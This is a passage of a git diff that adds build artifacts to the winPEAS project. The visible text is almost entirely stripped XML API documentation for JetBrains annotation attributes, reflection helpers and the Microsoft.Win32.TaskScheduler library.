can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe new file mode 100755 index 0000000..4af972b Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe.config b/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe.config new file mode 100755 index 0000000..2c307fa --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.pdb new file mode 100755 index 0000000..aa81461 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/Debug/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/Release/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/winPEAS/bin/Release/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..25324e0 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/Release/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7584 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only 